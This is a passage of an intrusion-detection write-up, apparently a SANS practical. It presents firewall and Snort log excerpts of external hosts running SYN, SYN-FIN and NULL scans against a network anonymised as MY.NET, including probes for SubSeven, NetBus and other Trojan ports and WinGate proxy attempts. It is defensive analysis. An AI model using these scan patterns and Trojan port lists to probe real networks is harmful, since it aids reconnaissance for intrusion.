Jun 17 22:23:03 202.235.50.12:65535 -> MY.NET.1.1:8080 SYN **S*****
Jun 17 22:23:03 202.235.50.12:65535 -> MY.NET.1.2:8080 SYN **S*****
Jun 17 22:23:03 202.235.50.12:65535 -> MY.NET.1.4:8080 SYN **S*****
Jun 17 22:23:03 202.235.50.12:65535 -> MY.NET.1.5:8080 SYN **S*****
Jun 17 22:23:03 202.235.50.12:65535 -> MY.NET.1.6:8080 SYN **S*****
Jun 17 22:23:03 202.235.50.12:65535 -> MY.NET.1.7:8080 SYN **S*****
Jun 17 22:23:03 202.235.50.12:65535 -> MY.NET.1.8:8080 SYN **S*****
Jun 17 22:23:03 202.235.50.12:65535 -> MY.NET.1.9:8080 SYN **S*****
(And the scan continues on…)
```

Here is a scan from 203.197.234.162 (Hindustan Times, New Delhi, India) scanning many systems on MY.NET looking for a server on port 98

```
Jun  2 20:42:51 203.197.234.162:1028 -> MY.NET.9.123:98 SYN **S*****
Jun  2 20:42:48 203.197.234.162:1038 -> MY.NET.9.132:98 SYN **S*****
Jun  2 20:43:55 203.197.234.162:1040 -> MY.NET.71.168:98 SYN **S*****
Jun  2 20:46:12 203.197.234.162:1054 -> MY.NET.211.117:98 SYN **S*****
Jun  2 20:46:28 203.197.234.162:1054 -> MY.NET.226.251:98 SYN **S*****
```

```
Jun  2 20:46:31 203.197.234.162:1056 -> MY.NET.226.253:98 SYN **S*****
Jun  2 20:43:52 203.197.234.162:1065 -> MY.NET.71.189:98 SYN **S*****
Jun  2 20:46:15 203.197.234.162:1068 -> MY.NET.211.131:98 SYN **S*****
Jun  2 20:46:15 203.197.234.162:1069 -> MY.NET.211.132:98 SYN **S*****
Jun  2 20:46:12 203.197.234.162:1070 -> MY.NET.211.133:98 SYN **S*****
Jun  2 20:46:12 203.197.234.162:1071 -> MY.NET.211.134:98 SYN **S*****
Jun  2 20:45:45 203.197.234.162:1072 -> MY.NET.180.121:98 SYN **S*****
Jun  2 20:46:12 203.197.234.162:1072 -> MY.NET.211.135:98 SYN **S*****
Jun  2 20:45:45 203.197.234.162:1073 -> MY.NET.180.122:98 SYN **S*****
Jun  2 20:46:15 203.197.234.162:1073 -> MY.NET.211.136:98 SYN **S*****
Jun  2 20:46:12 203.197.234.162:1074 -> MY.NET.211.137:98 SYN **S*****
Jun  2 20:46:12 203.197.234.162:1075 -> MY.NET.211.138:98 SYN **S*****
(and the scan continues on …)
```

Here is another scan looking for a server on port 98. This time it is from 208.209.45.170 (UUNET) scanning all of MY.NET

```
Jun  5 08:05:55 208.209.45.170:28888 -> MY.NET.1.60:98 SYN **S*****
Jun  5 08:05:55 208.209.45.170:28889 -> MY.NET.1.61:98 SYN **S*****
Jun  5 08:05:55 208.209.45.170:28893 -> MY.NET.1.62:98 SYN **S*****
Jun  5 08:05:55 208.209.45.170:28959 -> MY.NET.1.63:98 SYN **S*****
Jun  5 08:05:55 208.209.45.170:29023 -> MY.NET.1.64:98 SYN **S*****
Jun  5 08:05:55 208.209.45.170:29086 -> MY.NET.1.65:98 SYN **S*****
Jun  5 08:05:55 208.209.45.170:29149 -> MY.NET.1.66:98 SYN **S*****
Jun  5 08:05:55 208.209.45.170:29150 -> MY.NET.1.67:98 SYN **S*****
Jun  5 08:05:55 208.209.45.170:29151 -> MY.NET.1.68:98 SYN **S*****
Jun  5 08:05:55 208.209.45.170:29212 -> MY.NET.1.69:98 SYN **S*****
(and the scan continues on)
```

Here is a scan from 207.107.55.209 (Canada) looking for a Telnet server on the MY.NET.60 segment

```
Jun 16 14:33:28 207.107.55.209:3057 -> MY.NET.60.2:23 SYN **S*****
Jun 16 14:33:40 207.107.55.209:3057 -> MY.NET.60.2:23 SYN **S*****
Jun 16 14:33:28 207.107.55.209:3058 -> MY.NET.60.3:23 SYN **S*****
Jun 16 14:33:28 207.107.55.209:3059 -> MY.NET.60.5:23 SYN **S*****
Jun 16 14:33:28 207.107.55.209:3060 -> MY.NET.60.4:23 SYN **S*****
Jun 16 14:33:28 207.107.55.209:3062 -> MY.NET.60.7:23 SYN **S*****
Jun 16 14:33:29 207.107.55.209:3064 -> MY.NET.60.9:23 SYN **S*****
Jun 16 14:33:28 207.107.55.209:3065 -> MY.NET.60.10:23 SYN **S*****
Jun 16 14:33:34 207.107.55.209:3065 -> MY.NET.60.10:23 SYN **S*****
Jun 16 14:33:46 207.107.55.209:3065 -> MY.NET.60.10:23 SYN **S*****
Jun 16 14:33:28 207.107.55.209:3066 -> MY.NET.60.11:23 SYN **S*****
Jun 16 14:33:28 207.107.55.209:3067 -> MY.NET.60.12:23 SYN **S*****
(and the scan continues on …)
```

Here is a scan from 207.151.47.240 (USC) looking for SubSeven on systems at MY.NET.

```
Jun 18 02:36:37 207.151.47.240:2666 -> MY.NET.1.101:27374 SYN **S*****
Jun 18 02:36:37 207.151.47.240:2666 -> MY.NET.1.103:27374 SYN **S*****
Jun 18 02:36:37 207.151.47.240:2666 -> MY.NET.1.106:27374 SYN **S*****
Jun 18 02:36:37 207.151.47.240:2666 -> MY.NET.1.114:27374 SYN **S*****
Jun 18 02:36:37 207.151.47.240:2666 -> MY.NET.1.116:27374 SYN **S*****
Jun 18 02:36:37 207.151.47.240:2666 -> MY.NET.1.30:27374 SYN **S*****
Jun 18 02:36:37 207.151.47.240:2666 -> MY.NET.1.32:27374 SYN **S*****
Jun 18 02:36:37 207.151.47.240:2666 -> MY.NET.1.35:27374 SYN **S*****
Jun 18 02:36:37 207.151.47.240:2666 -> MY.NET.1.37:27374 SYN **S*****
Jun 18 02:36:37 207.151.47.240:2666 -> MY.NET.1.39:27374 SYN **S*****
(and the scan continues on … )
```

Here is a scan from 209.254.156.33 (Splitrock Services, Inc, US) scanning for Trojans on MY.NET.97.94.

```
Jun 22 04:17:07 209.254.156.33:4580 -> MY.NET.97.94:34324 SYN **S*****
Jun 22 04:17:07 209.254.156.33:4586 -> MY.NET.97.94:6670 SYN **S*****
Jun 22 04:17:07 209.254.156.33:4587 -> MY.NET.97.94:6671 SYN **S*****
Jun 22 04:17:07 209.254.156.33:4592 -> MY.NET.97.94:1015 SYN **S*****
Jun 22 04:17:07 209.254.156.33:4595 -> MY.NET.97.94:4567 SYN **S*****
Jun 22 04:17:07 209.254.156.33:4597 -> MY.NET.97.94:50766 SYN **S*****
Jun 22 04:17:07 209.254.156.33:4599 -> MY.NET.97.94:6969 SYN **S*****
Jun 22 04:17:07 209.254.156.33:4617 -> MY.NET.97.94:20000 SYN **S*****
Jun 22 04:17:07 209.254.156.33:4619 -> MY.NET.97.94:5031 SYN **S*****
Jun 22 04:17:07 209.254.156.33:4620 -> MY.NET.97.94:7306 SYN **S*****
Jun 22 04:17:07 209.254.156.33:4623 -> MY.NET.97.94:31339 SYN **S*****
Jun 22 04:17:07 209.254.156.33:4624 -> MY.NET.97.94:12346 SYN **S*****
(and the scan continues on… )
```

Here is a scan from 210.117.114.79 (Korea) scanning for Trojans on MY.NET.97.161.

```
Jun  2 10:09:41 210.117.114.79:1264 -> MY.NET.97.161:20034 SYN **S*****
Jun  2 10:09:42 210.117.114.79:1261 -> MY.NET.97.161:5550 SYN **S*****
Jun  2 10:09:42 210.117.114.79:1265 -> MY.NET.97.161:1243 SYN **S*****
Jun  2 10:09:42 210.117.114.79:1266 -> MY.NET.97.161:30100 SYN **S*****
Jun  2 10:09:42 210.117.114.79:1272 -> MY.NET.97.161:40421 SYN **S*****
Jun  2 10:09:42 210.117.114.79:1274 -> MY.NET.97.161:21554 SYN **S*****
Jun  2 10:09:42 210.117.114.79:1275 -> MY.NET.97.161:31337 SYN **S*****
Jun  2 10:09:42 210.117.114.79:1276 -> MY.NET.97.161:5742 SYN **S*****
Jun  2 10:09:42 210.117.114.79:1277 -> MY.NET.97.161:7307 SYN **S*****
Jun  2 10:09:42 210.117.114.79:1278 -> MY.NET.97.161:16969 SYN **S*****
(and the scan continues on … )
```

Here is another scan from Korea, 210.97.12.129 scanning for systems running POP-2 on MY.NET

```
Jun  4 18:52:14 210.97.12.129:109 -> MY.NET.1.10:109 SYNFIN **SF****
Jun  4 18:52:14 210.97.12.129:109 -> MY.NET.1.11:109 SYNFIN **SF****
Jun  4 18:52:14 210.97.12.129:109 -> MY.NET.1.12:109 SYNFIN **SF****
Jun  4 18:52:14 210.97.12.129:109 -> MY.NET.1.13:109 SYNFIN **SF****
Jun  4 18:52:14 210.97.12.129:109 -> MY.NET.1.14:109 SYNFIN **SF****
Jun  4 18:52:14 210.97.12.129:109 -> MY.NET.1.15:109 SYNFIN **SF****
Jun  4 18:52:14 210.97.12.129:109 -> MY.NET.1.16:109 SYNFIN **SF****
Jun  4 18:52:14 210.97.12.129:109 -> MY.NET.1.17:109 SYNFIN **SF****
Jun  4 18:52:14 210.97.12.129:109 -> MY.NET.1.1:109 SYNFIN **SF****
Jun  4 18:52:14 210.97.12.129:109 -> MY.NET.1.22:109 SYNFIN **SF****
Jun  4 18:52:14 210.97.12.129:109 -> MY.NET.1.23:109 SYNFIN **SF****
(and the scan continues on … )
```

And other scan from Korea (211.53.209.109) scanning for systems running a SubSeven Trojan on MY.NET

```
Jun 20 18:07:09 211.53.209.109:2666 -> MY.NET.1.0:27374 SYN **S*****
Jun 20 18:07:09 211.53.209.109:2666 -> MY.NET.1.101:27374 SYN **S*****
Jun 20 18:07:09 211.53.209.109:2666 -> MY.NET.1.102:27374 SYN **S*****
Jun 20 18:07:09 211.53.209.109:2666 -> MY.NET.1.103:27374 SYN **S*****
Jun 20 18:07:09 211.53.209.109:2666 -> MY.NET.1.104:27374 SYN **S*****
Jun 20 18:07:09 211.53.209.109:2666 -> MY.NET.1.107:27374 SYN **S*****
Jun 20 18:07:09 211.53.209.109:2666 -> MY.NET.1.109:27374 SYN **S*****
Jun 20 18:07:09 211.53.209.109:2666 -> MY.NET.1.10:27374 SYN **S*****
Jun 20 18:07:09 211.53.209.109:2666 -> MY.NET.1.110:27374 SYN **S*****
(an d the scan continues on …)
```

Here is a scan from 212.153.128.116 (NL) scanning for systems running NetBus on MY.NET

```
Jun 11 17:54:00 212.153.128.116:1146 -> MY.NET.210.157:12345 SYN **S*****
Jun 11 17:54:00 212.153.128.116:1150 -> MY.NET.210.161:12345 SYN **S*****
Jun 11 17:54:00 212.153.128.116:1151 -> MY.NET.210.162:12345 SYN **S*****
```

```
Jun 11 17:54:00 212.153.128.116:1152 -> MY.NET.210.163:12345 SYN **S*****
Jun 11 17:54:00 212.153.128.116:1153 -> MY.NET.210.164:12345 SYN **S*****
Jun 11 17:54:00 212.153.128.116:1154 -> MY.NET.210.165:12345 SYN **S*****
Jun 11 17:54:00 212.153.128.116:1155 -> MY.NET.210.166:12345 SYN **S*****
Jun 11 17:54:00 212.153.128.116:1156 -> MY.NET.210.167:12345 SYN **S*****
Jun 11 17:54:00 212.153.128.116:1157 -> MY.NET.210.168:12345 SYN **S*****
(and the scan continues on … )
```

Here is some kind of probe (TCP flags are either SYN/FIN or NULL, both are illegal combination) from 194.248.x.x (Scotland On Line) just to host MY.NET.20.10, with different destination ports. It could be a slow scan (over several days), looking for backdoors.

```
05/23-21:08:07.278961  [**] Null scan! [**] 194.247.69.133:1080 -> MY.NET.20.10:2330
05/23-21:08:34.378137  [**] Null scan! [**] 194.247.69.133:7744 -> MY.NET.20.10:49167
05/24-20:54:37.229456  [**] Null scan! [**] 194.247.69.132:2048 -> MY.NET.20.10:39172
05/24-20:56:00.174861  [**] Null scan! [**] 194.247.69.132:27980 -> MY.NET.20.10:27960
05/24-21:13:11.477040  [**] Null scan! [**] 194.247.69.132:18902 -> MY.NET.20.10:48129
05/24-21:21:51.884227  [**] SYN-FIN scan! [**] 194.247.69.132:27035 -> MY.NET.20.10:27005
05/24-21:22:09.659057  [**] Null scan! [**] 194.247.69.132:20285 -> MY.NET.20.10:9004
05/26-12:12:27.799754  [**] Null scan! [**] 194.247.69.133:27960 -> MY.NET.20.10:26106
05/26-12:12:37.822976  [**] Null scan! [**] 194.247.69.133:12417 -> MY.NET.20.10:34827
05/27-11:40:36.199182  [**] SYN-FIN scan! [**] 194.247.65.139:17664 -> MY.NET.20.10:40
05/27-11:56:20.523503  [**] SYN-FIN scan! [**] 194.247.68.105:17664 -> MY.NET.20.10:147
05/27-12:00:08.720279  [**] Null scan! [**] 194.247.68.105:27960 -> MY.NET.20.10:27960
05/28-11:30:23.209224  [**] SYN-FIN scan! [**] 194.247.86.51:27045 -> MY.NET.20.10:27005
05/28-21:35:22.249449  [**] Null scan! [**] 194.247.69.133:27960 -> MY.NET.20.10:27960
```

Here is a scan from an ISP in England, 212.49.251.17, looking for FTP servers within MY.NET

```
Jun 15 14:12:32 212.49.251.17:64633 -> MY.NET.1.2:21 SYN **S*****
Jun 15 14:12:32 212.49.251.17:64635 -> MY.NET.1.4:21 SYN **S*****
Jun 15 14:12:32 212.49.251.17:64636 -> MY.NET.1.5:21 SYN **S*****
Jun 15 14:12:32 212.49.251.17:64638 -> MY.NET.1.7:21 SYN **S*****
Jun 15 14:12:32 212.49.251.17:64639 -> MY.NET.1.8:21 SYN **S*****
Jun 15 14:12:32 212.49.251.17:64640 -> MY.NET.1.9:21 SYN **S*****
Jun 15 14:12:32 212.49.251.17:64641 -> MY.NET.1.10:21 SYN **S*****
Jun 15 14:12:32 212.49.251.17:64642 -> MY.NET.1.11:21 SYN **S*****
Jun 15 14:12:32 212.49.251.17:64643 -> MY.NET.1.12:21 SYN **S*****
Jun 15 14:12:32 212.49.251.17:64646 -> MY.NET.1.15:21 SYN **S*****
(and the scan continues on … )
```

And here is another scan from an ISP in England, 213.1.132.21, looking for Trojans within MY.NET.

```
Jun 18 20:39:17 213.1.132.21:4986 -> MY.NET.218.26:1170 SYN **S*****
Jun 18 20:39:18 213.1.132.21:1036 -> MY.NET.218.26:6939 SYN **S*****
Jun 18 20:39:18 213.1.132.21:1038 -> MY.NET.218.26:1015 SYN **S*****
Jun 18 20:39:18 213.1.132.21:1047 -> MY.NET.218.26:22222 SYN **S*****
Jun 18 20:39:18 213.1.132.21:1048 -> MY.NET.218.26:1492 SYN **S*****
Jun 18 20:39:18 213.1.132.21:1050 -> MY.NET.218.26:9999 SYN **S*****
Jun 18 20:39:18 213.1.132.21:1051 -> MY.NET.218.26:1016 SYN **S*****
Jun 18 20:39:18 213.1.132.21:1052 -> MY.NET.218.26:9400 SYN **S*****
Jun 18 20:39:18 213.1.132.21:1053 -> MY.NET.218.26:12701 SYN **S*****
Jun 18 20:39:18 213.1.132.21:1054 -> MY.NET.218.26:5033 SYN **S*****
Jun 18 20:39:18 213.1.132.21:4991 -> MY.NET.218.26:666 SYN **S*****
Jun 18 20:39:18 213.1.132.21:4996 -> MY.NET.218.26:31785 SYN **S*****
Jun 18 20:39:19 213.1.132.21:1025 -> MY.NET.218.26:50766 SYN **S*****
Jun 18 20:39:19 213.1.132.21:1028 -> MY.NET.218.26:1999 SYN **S*****
Jun 18 20:39:19 213.1.132.21:1030 -> MY.NET.218.26:2565 SYN **S*****
(and the scan continues on …)
```

Here is 216.254.151.42 (ISP from Canada), looking for SubSeven servers within MY.NET

```
Jun 12 00:10:44 216.254.151.42:4669 -> MY.NET.217.1:27374 SYN **S*****
Jun 12 00:10:44 216.254.151.42:4680 -> MY.NET.217.12:27374 SYN **S*****
Jun 12 00:10:44 216.254.151.42:4691 -> MY.NET.217.23:27374 SYN **S*****
Jun 12 00:10:44 216.254.151.42:4692 -> MY.NET.217.24:27374 SYN **S*****
Jun 12 00:10:44 216.254.151.42:4707 -> MY.NET.217.39:27374 SYN **S*****
Jun 12 00:10:44 216.254.151.42:4708 -> MY.NET.217.40:27374 SYN **S*****
Jun 12 00:10:45 216.254.151.42:4674 -> MY.NET.217.6:27374 SYN **S*****
Jun 12 00:10:45 216.254.151.42:4678 -> MY.NET.217.10:27374 SYN **S*****
Jun 12 00:10:45 216.254.151.42:4681 -> MY.NET.217.13:27374 SYN **S*****
Jun 12 00:10:45 216.254.151.42:4693 -> MY.NET.217.25:27374 SYN **S*****
(and the scan continues on …)
```

Here is a multiscan from 24.13.123.8 (home.net, an ISP) checking out port on host MY.NET.179.78 on two different days.

```
Jun 12 21:42:54 24.13.123.8:3521 -> MY.NET.179.78:6144 SYN **S*****
Jun 12 21:42:54 24.13.123.8:3523 -> MY.NET.179.78:884 SYN **S*****
Jun 12 21:42:54 24.13.123.8:3524 -> MY.NET.179.78:1248 SYN **S*****
Jun 12 21:42:54 24.13.123.8:3525 -> MY.NET.179.78:116 SYN **S*****
Jun 12 21:42:54 24.13.123.8:3527 -> MY.NET.179.78:977 SYN **S*****
Jun 12 21:42:54 24.13.123.8:3531 -> MY.NET.179.78:797 SYN **S*****
Jun 12 21:42:54 24.13.123.8:3532 -> MY.NET.179.78:44 SYN **S*****
Jun 12 21:42:54 24.13.123.8:3544 -> MY.NET.179.78:546 SYN **S*****
Jun 12 21:42:54 24.13.123.8:3545 -> MY.NET.179.78:826 SYN **S*****
Jun 12 21:42:54 24.13.123.8:3546 -> MY.NET.179.78:1665 SYN **S*****
Jun 12 21:42:54 24.13.123.8:3575 -> MY.NET.179.78:161 SYN **S*****
Jun 12 21:42:54 24.13.123.8:3577 -> MY.NET.179.78:286 SYN **S*****
Jun 12 21:42:54 24.13.123.8:3578 -> MY.NET.179.78:121 SYN **S*****
Jun 12 21:42:54 24.13.123.8:3579 -> MY.NET.179.78:478 SYN **S*****
Jun 12 21:42:54 24.13.123.8:3581 -> MY.NET.179.78:674 SYN **S*****
(and the scan continues on …)

Jun 23 12:55:15 24.13.123.8:1027 -> MY.NET.179.78:367 SYN **S*****
Jun 23 12:55:15 24.13.123.8:1028 -> MY.NET.179.78:771 SYN **S*****
Jun 23 12:55:15 24.13.123.8:1029 -> MY.NET.179.78:989 SYN **S*****
Jun 23 12:55:15 24.13.123.8:1031 -> MY.NET.179.78:349 SYN **S*****
Jun 23 12:55:15 24.13.123.8:1034 -> MY.NET.179.78:83 SYN **S*****
Jun 23 12:55:15 24.13.123.8:1037 -> MY.NET.179.78:267 SYN **S*****
Jun 23 12:55:15 24.13.123.8:1038 -> MY.NET.179.78:958 SYN **S*****
Jun 23 12:55:15 24.13.123.8:1039 -> MY.NET.179.78:1661 SYN **S*****
Jun 23 12:55:15 24.13.123.8:1040 -> MY.NET.179.78:257 SYN **S*****
Jun 23 12:55:15 24.13.123.8:1041 -> MY.NET.179.78:355 SYN **S*****
Jun 23 12:55:16 24.13.123.8:1043 -> MY.NET.179.78:197 SYN **S*****
(and the scan continues on … )
```

Here is a scan from 24.9.56.208 (home.net, an ISP) looking for SubSeven servers within MY.NET

```
Jun 20 20:33:57 24.9.56.208:4966 -> MY.NET.94.1:27374 SYN **S*****
Jun 20 20:33:57 24.9.56.208:4967 -> MY.NET.94.2:27374 SYN **S*****
Jun 20 20:33:57 24.9.56.208:4968 -> MY.NET.94.3:27374 SYN **S*****
Jun 20 20:33:57 24.9.56.208:4975 -> MY.NET.94.10:27374 SYN **S*****
Jun 20 20:33:57 24.9.56.208:4976 -> MY.NET.94.11:27374 SYN **S*****
Jun 20 20:33:57 24.9.56.208:4977 -> MY.NET.94.12:27374 SYN **S*****
Jun 20 20:33:57 24.9.56.208:4979 -> MY.NET.94.14:27374 SYN **S*****
Jun 20 20:33:57 24.9.56.208:4980 -> MY.NET.94.15:27374 SYN **S*****
Jun 20 20:33:57 24.9.56.208:4982 -> MY.NET.94.17:27374 SYN **S*****
Jun 20 20:33:57 24.9.56.208:4983 -> MY.NET.94.18:27374 SYN **S*****
Jun 20 20:33:57 24.9.56.208:4987 -> MY.NET.94.22:27374 SYN **S*****
(and the scan continues on … )
```

Here is a scan from 62.168.21.194 (from the Czech Republic) looking for POP-2 server (port 109) on MY.NET, with SYN,FIN TCP flags.

```
Jun  4 15:33:18 62.168.21.194:109 -> MY.NET.1.16:109 SYNFIN **SF****
Jun  4 15:33:18 62.168.21.194:109 -> MY.NET.1.17:109 SYNFIN **SF****
Jun  4 15:33:18 62.168.21.194:109 -> MY.NET.1.1:109 SYNFIN **SF****
Jun  4 15:33:18 62.168.21.194:109 -> MY.NET.1.2:109 SYNFIN **SF****
Jun  4 15:33:19 62.168.21.194:109 -> MY.NET.1.21:109 SYNFIN **SF****
Jun  4 15:33:19 62.168.21.194:109 -> MY.NET.1.22:109 SYNFIN **SF****
Jun  4 15:33:19 62.168.21.194:109 -> MY.NET.1.23:109 SYNFIN **SF****
Jun  4 15:33:19 62.168.21.194:109 -> MY.NET.1.24:109 SYNFIN **SF****
Jun  4 15:33:19 62.168.21.194:109 -> MY.NET.1.25:109 SYNFIN **SF****
Jun  4 15:33:19 62.168.21.194:109 -> MY.NET.1.26:109 SYNFIN **SF****
(and the scan continues on …)
```

Here is a multiscan from 64.82.86.111 (Earthlink, an ISP) scanning TCP and UDP ports on MY.NET.70.234

```
May 25 16:01:03 64.82.86.111:35931 -> MY.NET.70.234:174 SYN **S*****
May 25 16:01:03 64.82.86.111:35931 -> MY.NET.70.234:31 SYN **S*****
May 25 16:01:03 64.82.86.111:35932 -> MY.NET.70.234:142 SYN **S*****
May 25 16:01:03 64.82.86.111:35932 -> MY.NET.70.234:153 SYN **S*****
May 25 16:01:03 64.82.86.111:35932 -> MY.NET.70.234:198 SYN **S*****
May 25 16:01:03 64.82.86.111:35932 -> MY.NET.70.234:46 SYN **S*****
May 25 16:01:03 64.82.86.111:35933 -> MY.NET.70.234:106 SYN **S*****
May 25 16:01:03 64.82.86.111:35933 -> MY.NET.70.234:151 SYN **S*****
May 25 16:01:03 64.82.86.111:35933 -> MY.NET.70.234:154 SYN **S*****
May 25 16:01:03 64.82.86.111:35933 -> MY.NET.70.234:222 SYN **S*****
May 25 16:01:03 64.82.86.111:35933 -> MY.NET.70.234:60 SYN **S*****
(and the scan continues on … )
May 25 16:05:02 64.82.86.111:35932 -> MY.NET.70.234:142 UDP
May 25 16:05:02 64.82.86.111:35932 -> MY.NET.70.234:151 UDP
May 25 16:05:02 64.82.86.111:35932 -> MY.NET.70.234:153 UDP
May 25 16:05:02 64.82.86.111:35932 -> MY.NET.70.234:154 UDP
May 25 16:05:02 64.82.86.111:35932 -> MY.NET.70.234:198 UDP
May 25 16:05:02 64.82.86.111:35932 -> MY.NET.70.234:222 UDP
May 25 16:05:02 64.82.86.111:35932 -> MY.NET.70.234:31 UDP
May 25 16:05:02 64.82.86.111:35932 -> MY.NET.70.234:46 UDP
May 25 16:05:03 64.82.86.111:35932 -> MY.NET.70.234:114 UDP
May 25 16:05:03 64.82.86.111:35932 -> MY.NET.70.234:18 UDP
May 25 16:05:03 64.82.86.111:35932 -> MY.NET.70.234:238 UDP
(and the scan continues on …)
```

There is something unusual about MY.NET.20.10. There is something running on it that is accessible from outside MY.NET. It is either a web server using port 8080, which is okay or a WinGate proxy running which is bad. Need to check with the system administrator to find out which. Here is a small sample of external users accessing it. In this example, 207.159.16.254 (VERIO.NET, an ISP) accessed MY.NET.20.10:8080 and nothing else over several days of log entries. Many other external system also accessed MY.NET.20.10:8080.

```
06/12-01:40:19.991036  [**] WinGate 8080 Attempt [**] 207.159.16.254:2473 -> MY.NET.20.10:8080
06/12-01:40:20.573917  [**] WinGate 8080 Attempt [**] 207.159.16.254:2473 -> MY.NET.20.10:8080
06/12-01:40:21.098215  [**] WinGate 8080 Attempt [**] 207.159.16.254:2473 -> MY.NET.20.10:8080
06/12-05:06:38.839023  [**] WinGate 8080 Attempt [**] 207.159.16.254:3553 -> MY.NET.20.10:8080
06/12-05:06:40.363926  [**] WinGate 8080 Attempt [**] 207.159.16.254:3553 -> MY.NET.20.10:8080
06/13-01:33:09.781060  [**] WinGate 8080 Attempt [**] 207.159.16.254:1164 -> MY.NET.20.10:8080
06/13-01:33:10.388398  [**] WinGate 8080 Attempt [**] 207.159.16.254:1164 -> MY.NET.20.10:8080
06/16-03:00:18.600036  [**] WinGate 8080 Attempt [**] 207.159.16.254:3484 -> MY.NET.20.10:8080
06/16-03:00:19.115409  [**] WinGate 8080 Attempt [**] 207.159.16.254:3484 -> MY.NET.20.10:8080
06/16-03:00:19.620429  [**] WinGate 8080 Attempt [**] 207.159.16.254:3484 -> MY.NET.20.10:8080
06/16-03:00:20.138432  [**] WinGate 8080 Attempt [**] 207.159.16.254:3484 -> MY.NET.20.10:8080
06/16-07:08:39.731302  [**] WinGate 8080 Attempt [**] 207.159.16.254:4021 -> MY.NET.20.10:8080
06/16-07:08:40.348990  [**] WinGate 8080 Attempt [**] 207.159.16.254:4021 -> MY.NET.20.10:8080
06/16-07:08:40.863905  [**] WinGate 8080 Attempt [**] 207.159.16.254:4021 -> MY.NET.20.10:8080
06/16-07:08:41.441622  [**] WinGate 8080 Attempt [**] 207.159.16.254:4021 -> MY.NET.20.10:8080
06/16-08:02:39.279877  [**] WinGate 8080 Attempt [**] 207.159.16.254:1313 -> MY.NET.20.10:8080
```

```
06/16-08:02:40.961742  [**] WinGate 8080 Attempt [**] 207.159.16.254:1313 -> MY.NET.20.10:8080
06/16-18:22:40.170561  [**] WinGate 8080 Attempt [**] 207.159.16.254:1251 -> MY.NET.20.10:8080
06/16-18:22:41.302475  [**] WinGate 8080 Attempt [**] 207.159.16.254:1251 -> MY.NET.20.10:8080
06/18-06:19:37.508801  [**] WinGate 8080 Attempt [**] 207.159.16.254:1679 -> MY.NET.20.10:8080
06/18-06:19:38.021115  [**] WinGate 8080 Attempt [**] 207.159.16.254:1679 -> MY.NET.20.10:8080
06/19-10:45:24.631726  [**] WinGate 8080 Attempt [**] 207.159.16.254:3248 -> MY.NET.20.10:8080
06/19-10:45:25.172990  [**] WinGate 8080 Attempt [**] 207.159.16.254:3248 -> MY.NET.20.10:8080
06/19-10:45:25.768471  [**] WinGate 8080 Attempt [**] 207.159.16.254:3248 -> MY.NET.20.10:8080
06/19-10:45:26.387934  [**] WinGate 8080 Attempt [**] 207.159.16.254:3248 -> MY.NET.20.10:8080
06/19-12:32:33.815322  [**] WinGate 8080 Attempt [**] 207.159.16.254:1336 -> MY.NET.20.10:8080
06/19-12:32:34.385427  [**] WinGate 8080 Attempt [**] 207.159.16.254:1336 -> MY.NET.20.10:8080
06/19-12:32:34.992424  [**] WinGate 8080 Attempt [**] 207.159.16.254:1336 -> MY.NET.20.10:8080
(and the scan continues on … )
```

Here another SYN,FIN (illegal TCP flag combination) scan from 210.118.8.50 (ELIMNET, an ISP in Korea), 155.230.152.165 (Kyungpook National University in Korea) and 210.222.31.100 (KRJD-GAME in Korea) just probing MY.NET.1.3/4/5 on port 109 (POP2), 1524 (Ingreslock) and 2222 (Rockvell-CSP2?). It is odd that sites in Korea are only probing those three hosts.

```
05/28-10:20:49.555094  [**] SYN-FIN scan! [**] 155.230.152.165:0 -> MY.NET.1.3:53
05/28-10:20:49.567379  [**] SYN-FIN scan! [**] 155.230.152.165:0 -> MY.NET.1.4:53
05/28-10:20:49.591095  [**] SYN-FIN scan! [**] 155.230.152.165:0 -> MY.NET.1.5:53
05/29-17:07:57.362396  [**] SYN-FIN scan! [**] 210.118.8.50:0 -> MY.NET.1.3:109
05/29-17:07:57.381288  [**] SYN-FIN scan! [**] 210.118.8.50:0 -> MY.NET.1.4:109
05/29-17:07:57.396622  [**] SYN-FIN scan! [**] 210.118.8.50:0 -> MY.NET.1.5:109
05/29-17:21:59.634896  [**] SYN-FIN scan! [**] 210.118.8.50:0 -> MY.NET.1.3:109
05/29-17:21:59.637987  [**] SYN-FIN scan! [**] 210.118.8.50:0 -> MY.NET.1.4:109
05/29-17:21:59.669063  [**] SYN-FIN scan! [**] 210.118.8.50:0 -> MY.NET.1.5:109
05/31-08:08:24.466162  [**] SYN-FIN scan! [**] 210.118.8.50:0 -> MY.NET.1.3:109
06/13-11:02:36.019374  [**] SYN-FIN scan! [**] 210.222.31.100:1524 -> MY.NET.1.3:1524
06/13-11:02:36.034896  [**] SYN-FIN scan! [**] 210.222.31.100:1524 -> MY.NET.1.4:1524
06/13-14:37:42.567856  [**] SYN-FIN scan! [**] 210.222.31.100:1524 -> MY.NET.1.3:1524
06/13-14:37:42.587302  [**] SYN-FIN scan! [**] 210.222.31.100:1524 -> MY.NET.1.4:1524
06/13-14:37:42.609043  [**] SYN-FIN scan! [**] 210.222.31.100:1524 -> MY.NET.1.5:1524
06/13-15:00:20.369284  [**] SYN-FIN scan! [**] 210.222.31.100:2222 -> MY.NET.1.3:2222
06/13-15:00:20.391389  [**] SYN-FIN scan! [**] 210.222.31.100:2222 -> MY.NET.1.4:2222
06/13-15:00:20.405561  [**] SYN-FIN scan! [**] 210.222.31.100:2222 -> MY.NET.1.5:2222
06/13-15:12:24.583683  [**] SYN-FIN scan! [**] 210.222.31.100:2222 -> MY.NET.1.3:2222
06/13-15:12:24.601668  [**] SYN-FIN scan! [**] 210.222.31.100:2222 -> MY.NET.1.4:2222
06/13-15:12:24.614865  [**] SYN-FIN scan! [**] 210.222.31.100:2222 -> MY.NET.1.5:2222
```

Last Updated: September 26th, 2017

Upcoming Training

SANS October Singapore 2017	Singapore, Singapore	Oct 09, 2017 - Oct 28, 2017	Live Event
Community SANS Ottawa SEC503	Ottawa, ON	Oct 16, 2017 - Oct 21, 2017	Community SANS
SANS Berlin 2017	Berlin, Germany	Oct 23, 2017 - Oct 28, 2017	Live Event
San Diego Fall 2017 - SEC503: Intrusion Detection In-Depth	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	vLive
SANS San Diego 2017	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	Live Event
SANS Seattle 2017	Seattle, WA	Oct 30, 2017 - Nov 04, 2017	Live Event
SANS Paris November 2017	Paris, France	Nov 13, 2017 - Nov 18, 2017	Live Event
Community SANS Pensacola SEC503	Pensacola, FL	Nov 27, 2017 - Dec 02, 2017	Community SANS
